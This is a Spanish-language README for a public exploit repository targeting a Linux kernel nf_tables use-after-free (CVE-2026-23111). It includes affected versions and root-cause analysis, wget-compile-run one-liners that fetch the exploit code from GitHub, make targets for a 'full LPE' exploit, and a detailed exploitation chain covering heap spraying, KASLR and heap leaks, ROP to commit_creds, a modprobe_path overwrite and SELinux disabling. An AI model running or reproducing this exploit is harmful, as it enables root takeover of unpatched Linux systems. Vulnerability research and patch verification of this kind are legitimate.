
Uso después de liberación en nf_tables del Kernel de Linux (CVE-2026-23111) — PoC de escalada de privilegios local
Desbordamiento de memoria después de liberación (Use-After-Free) en nf_tables del kernel de Linux (Escalada de privilegios local) poc por baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Rango de versiones | Corregido en |
|---|---|
| 6.19-rc1 a 6.19-rc8 | 6.19-rc9+ |
| 6.13 a 6.18.9 | 6.18.10 |
| 6.7 a 6.12.69 | 6.12.70 |
| 6.4.1 a 6.5.x | EOL (sin corrección estable) |
| 6.3.10 a 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 a 6.1.162 | 6.1.163 |
| 5.15.121 a 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Varias LTS |
CVE-2026-23111 es un use-after-free en nf_tables causado por una verificación de máscara de generación invertida en nft_map_catchall_activate(). Durante la reversión de una transacción fallida, los elementos catchall del mapa de veredicto que fueron desactivados por NFT_MSG_DELSET deben reactivarse para que referencias como las referencias de cadena NFT_GOTO se restauren. La ruta de activación catchall, en cambio, omitió elementos inactivos y procesó los activos, dejando elementos catchall desactivados sin restaurar.
La lógica de activación catchall no correcta es:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* omitir activo, procesar inactivo */
La ruta catchall vulnerable usó la condición opuesta:
if (!nft_set_elem_active(ext, genmask))
continue; /* omitir inactivo, procesar activo */
Cuando se revierte un mapa de veredicto pipapo eliminado, esto impide que nft_setelem_data_activate() se ejecute para el elemento catchall inactivo. Para datos de veredicto NFT_JUMP/NFT_GOTO, la referencia de cadena tomada por nft_data_hold() no se restaura. Repetir la secuencia de abortar/alternar/eliminar puede llevar chain->use a cero mientras otra regla aún contiene una referencia de veredicto válida a la cadena. Un DELCHAIN posterior puede liberar la cadena mientras sigue siendo accesible, creando el UAF.
Crear tabla, cadena base, cadena víctima y mapa de veredicto pipapo con catchall NFT_GOTO -> víctima
|
Lote 1: eliminar el conjunto pipapo, luego forzar un error de transacción
|
La ruta de anulación llama a nft_map_catchall_activate(), pero la verificación invertida omite el catchall inactivo
|
El catchall permanece inactivo y el contador de referencia de la cadena víctima no se restaura
|
Lote 2: confirmar una transacción benigna para cambiar el cursor de generación
|
Lote 3: eliminar el conjunto pipapo con éxito, decrementando nuevamente la referencia de la cadena víctima
|
Lote 4: eliminar la cadena víctima mientras el veredicto de la cadena base aún la referencia
|
Use-after-free cuando la evaluación de paquetes o el volcado de reglas siguen la referencia de veredicto colgante
La corrección ascendente es eliminar la negación para que nft_map_catchall_activate() coincida con nft_mapelem_activate(): los elementos activos se omiten, los inactivos se reactivan y las referencias de veredicto/objeto se restauran durante el manejo de anulación.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Use esto si el PoC completo/v1 falla en el kernel objetivo.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Instale primero las dependencias de compilación si el compilador no puede encontrar los encabezados libmnl/libmnl.h o libnftnl:
scripts/install-build-deps.sh
# o
make deps
make # Compilar exploit (solo PoC)
make v2 # Compilar exploit v2 (enfoque FuzzingLabs — probar cuando v1 falla)
make full # Compilar exploit LPE completo
make v3 # Compilar v3 variante de ruta de evaluación calibrada
make run-d # Ejecutar PoC con salida de depuración
make run-v2-d # Ejecutar v2 con salida de depuración
make run-v3 # Mostrar uso/ayuda de v3
make run-full # Ejecutar LPE completo
Crea un conjunto de mapa pipapo con un elemento catchall (goto cadena víctima), luego usa el error de genmask invertido durante una anulación de DELSET para corromper chain->use. Después de avanzar el contador de generación, DELCHAIN tiene éxito a pesar de las referencias colgantes, liberando la cadena.
Después del UAF, la memoria de chain->name se libera. Rociamos estructuras seq_operations (32 bytes) abriendo /proc/self/stat para reclamar la ranura de caché slab liberada. Leer la regla de veredicto inmediato de la cadena base mediante NFT_MSG_GETRULE vuelca el nombre de cadena reclamado, filtrando punteros a funciones del kernel. La validación de punteros asegura que solo se acepten direcciones de texto canónicas del kernel.
Vuelve a disparar el UAF con un nombre de cadena más largo (140 bytes → kmalloc-cg-192), luego rocía objetos nft_rule para reclamar la memoria. Los punteros list_head filtrados revelan direcciones del heap en la región del mapa directo.
nft_expr_ops y nft_rule_blob falsosblob_gen_0 de la cadena liberadacommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->eval secuestradoEl exploit v2 (exploit_v2.c) usa las técnicas descritas en el artículo de FuzzingLabs y se puede usar cuando el PoC v1 falla. Diferencias clave:
| Componente | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|---|---|
| Disparo UAF | Un solo conjunto + regla goto inmediata | Dos conjuntos (estilo FuzzingLabs) + regla de búsqueda |
| Lectura de KASLR | NFT_MSG_GETRULE (volcado de reglas) | NFT_MSG_GETELEM (volcado de elementos) + respaldo GETRULE |
| Fuga del heap | Rociado nft_rule + fuga de list_head | Cadena de lectura arbitraria init_ipc_ns |
| Anfitrión ROP | nft_rules + datos de usuario de tabla | msg_msg-2k (mensaje de 2048 bytes) |
| Disparo de secuestro | Evaluación de paquete en goto inmediato | Evaluación de paquete en catchall de conjunto superviviente |
| Escalada de privilegios | commit_creds + switch_task_namespaces | Sobrescritura de modprobe_path + desactivación de SELinux |
| Ruta de retorno | swapgs; iretq | msleep() (permanece en kernel) |
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (puntero etiquetado)
msg_queue + 0xc0 → q_messages.next → dirección heap de msg_msg